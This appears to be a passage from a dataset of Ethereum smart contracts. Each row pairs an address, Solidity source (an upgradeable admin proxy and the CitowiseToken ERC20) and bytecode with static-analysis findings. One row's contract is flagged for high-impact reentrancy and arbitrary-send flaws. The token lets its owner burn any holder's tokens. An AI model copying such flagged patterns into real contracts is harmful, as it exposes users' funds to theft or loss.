919050565b60006020820190508181036000830152612faf81612ce1565b9050919050565b60006020820190508181036000830152612fcf81612d04565b9050919050565b60006020820190508181036000830152612fef81612d27565b9050919050565b6000602082019050818103600083015261300f81612d4a565b9050919050565b600060208201905061302b6000830184612d6d565b92915050565b600060a0820190506130466000830188612d6d565b6130536020830187612b81565b81810360408301526130658186612b14565b90506130746060830185612b05565b6130816080830184612d6d565b9695505050505050565b60006020820190506130a06000830184612d7c565b92915050565b60006130b06130c1565b90506130bc82826132fb565b919050565b6000604051905090565b600067ffffffffffffffff8211156130e6576130e5613402565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131578261329f565b91506131628361329f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561319757613196613375565b5b828201905092915050565b60006131ad8261329f565b91506131b88361329f565b9250826131c8576131c76133a4565b5b828204905092915050565b60006131de8261329f565b91506131e98361329f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561322257613221613375565b5b828202905092915050565b60006132388261329f565b91506132438361329f565b92508282101561325657613255613375565b5b828203905092915050565b600061326c8261327f565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132c18261329f565b9050919050565b60005b838110156132e65780820151818401526020810190506132cb565b838111156132f5576000848401525b50505050565b61330482613445565b810181811067ffffffffffffffff8211171561332357613322613402565b5b80604052505050565b60006133378261329f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561336a57613369613375565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61375581613261565b811461376057600080fd5b50565b61376c81613273565b811461377757600080fd5b50565b6137838161329f565b811461378e57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203d64ad48e7b4459517321b6a034c86131477445f4a44b1aa5894991dbcc44d3764736f6c63430008050033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,435 |
0xd71ac3c4484da01c6a577506e6c85f310a8867a4 | /**
*Submitted for verification at Etherscan.io on 2020-10-09
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
} | 0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a264697066735822122073c4c21e5c673ed7cd3c216206991b426c7391cadd714e9a2c3f3ee94217be2b64736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 1,436 |
0x9748737627cce952ccdf03b399b2de724a12ab4f | pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20 {
using SafeMath for uint256;
mapping (address => uint256) private balances;
mapping (address => mapping (address => uint256)) private allowed;
uint256 private totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param _account The account that will receive the created tokens.
* @param _amount The amount that will be created.
*/
function _mint(address _account, uint256 _amount) internal {
require(_account != 0);
totalSupply_ = totalSupply_.add(_amount);
balances[_account] = balances[_account].add(_amount);
emit Transfer(address(0), _account, _amount);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param _account The account whose tokens will be burnt.
* @param _amount The amount that will be burnt.
*/
function _burn(address _account, uint256 _amount) internal {
require(_account != 0);
require(_amount <= balances[_account]);
totalSupply_ = totalSupply_.sub(_amount);
balances[_account] = balances[_account].sub(_amount);
emit Transfer(_account, address(0), _amount);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal _burn function.
* @param _account The account whose tokens will be burnt.
* @param _amount The amount that will be burnt.
*/
function _burnFrom(address _account, uint256 _amount) internal {
require(_amount <= allowed[_account][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
allowed[_account][msg.sender] = allowed[_account][msg.sender].sub(_amount);
_burn(_account, _amount);
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
_mint(_to, _amount);
emit Mint(_to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
/**
* @title Capped token
* @dev Mintable token with a token cap.
*/
contract CappedToken is MintableToken {
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
public
returns (bool)
{
require(totalSupply().add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken, Ownable {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens. Allowed only for contract owner.
* @param _value The amount of token to be burned.
*/
function burn(address _who, uint256 _value) public onlyOwner() {
_burn(_who, _value);
}
/**
* @dev Overrides StandardToken._burn in order for burn and burnFrom to emit
* an additional Burn event.
*/
function _burn(address _who, uint256 _value) internal {
super._burn(_who, _value);
emit Burn(_who, _value);
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract CitowiseToken is StandardToken, Ownable, MintableToken, BurnableToken, CappedToken {
string public name;
string public symbol;
uint8 public decimals;
constructor() public CappedToken(500000000) {
name = "Citowise Token";
symbol = "CTW";
decimals = 18;
}
function burn(address _who, uint256 _value) public onlyOwner() canMint() {
_burn(_who, _value);
}
} | 0x6080604052600436106101065763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461010b57806306fdde0314610134578063095ea7b3146101be57806318160ddd146101e257806323b872dd14610209578063313ce56714610233578063355274ea1461025e57806340c10f1914610273578063661884631461029757806370a08231146102bb578063715018a6146102dc5780637d64bcb4146102f35780638da5cb5b1461030857806395d89b41146103395780639dc29fac1461034e578063a9059cbb14610372578063d73dd62314610396578063dd62ed3e146103ba578063f2fde38b146103e1575b600080fd5b34801561011757600080fd5b50610120610402565b604080519115158252519081900360200190f35b34801561014057600080fd5b50610149610412565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561018357818101518382015260200161016b565b50505050905090810190601f1680156101b05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ca57600080fd5b50610120600160a060020a03600435166024356104a0565b3480156101ee57600080fd5b506101f7610506565b60408051918252519081900360200190f35b34801561021557600080fd5b50610120600160a060020a036004358116906024351660443561050c565b34801561023f57600080fd5b5061024861066f565b6040805160ff9092168252519081900360200190f35b34801561026a57600080fd5b506101f7610678565b34801561027f57600080fd5b50610120600160a060020a036004351660243561067e565b3480156102a357600080fd5b50610120600160a060020a03600435166024356106b7565b3480156102c757600080fd5b506101f7600160a060020a03600435166107a6565b3480156102e857600080fd5b506102f16107c1565b005b3480156102ff57600080fd5b5061012061082f565b34801561031457600080fd5b5061031d6108b3565b60408051600160a060020a039092168252519081900360200190f35b34801561034557600080fd5b506101496108c2565b34801561035a57600080fd5b506102f1600160a060020a036004351660243561091d565b34801561037e57600080fd5b50610120600160a060020a0360043516602435610959565b3480156103a257600080fd5b50610120600160a060020a0360043516602435610a26565b3480156103c657600080fd5b506101f7600160a060020a0360043581169060243516610abf565b3480156103ed57600080fd5b506102f1600160a060020a0360043516610aea565b60035460a060020a900460ff1681565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104985780601f1061046d57610100808354040283529160200191610498565b820191906000526020600020905b81548152906001019060200180831161047b57829003601f168201915b505050505081565b336000818152600160209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60025490565b600160a060020a03831660009081526020819052604081205482111561053157600080fd5b600160a060020a038416600090815260016020908152604080832033845290915290205482111561056157600080fd5b600160a060020a038316151561057657600080fd5b600160a060020a03841660009081526020819052604090205461059f908363ffffffff610b0d16565b600160a060020a0380861660009081526020819052604080822093909355908516815220546105d4908363ffffffff610b2416565b600160a060020a03808516600090815260208181526040808320949094559187168152600182528281203382529091522054610616908363ffffffff610b0d16565b600160a060020a0380861660008181526001602090815260408083203384528252918290209490945580518681529051928716939192600080516020610dd9833981519152929181900390910190a35060019392505050565b60075460ff1681565b60045481565b600060045461069b8361068f610506565b9063ffffffff610b2416565b11156106a657600080fd5b6106b08383610b36565b9392505050565b336000908152600160209081526040808320600160a060020a038616845290915281205480831061070b57336000908152600160209081526040808320600160a060020a0388168452909152812055610740565b61071b818463ffffffff610b0d16565b336000908152600160209081526040808320600160a060020a03891684529091529020555b336000818152600160209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a031633146107d857600080fd5b600354604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b600354600090600160a060020a0316331461084957600080fd5b60035460a060020a900460ff161561086057600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600354600160a060020a031681565b6006805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104985780601f1061046d57610100808354040283529160200191610498565b600354600160a060020a0316331461093457600080fd5b60035460a060020a900460ff161561094b57600080fd5b6109558282610bb9565b5050565b3360009081526020819052604081205482111561097557600080fd5b600160a060020a038316151561098a57600080fd5b336000908152602081905260409020546109aa908363ffffffff610b0d16565b3360009081526020819052604080822092909255600160a060020a038516815220546109dc908363ffffffff610b2416565b600160a060020a03841660008181526020818152604091829020939093558051858152905191923392600080516020610dd98339815191529281900390910190a350600192915050565b336000908152600160209081526040808320600160a060020a0386168452909152812054610a5a908363ffffffff610b2416565b336000818152600160209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b600354600160a060020a03163314610b0157600080fd5b610b0a81610c06565b50565b60008083831115610b1d57600080fd5b5050900390565b6000828201838110156106b057600080fd5b600354600090600160a060020a03163314610b5057600080fd5b60035460a060020a900460ff1615610b6757600080fd5b610b718383610c84565b604080518381529051600160a060020a038516917f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885919081900360200190a250600192915050565b610bc38282610d1c565b604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b600160a060020a0381161515610c1b57600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f2841949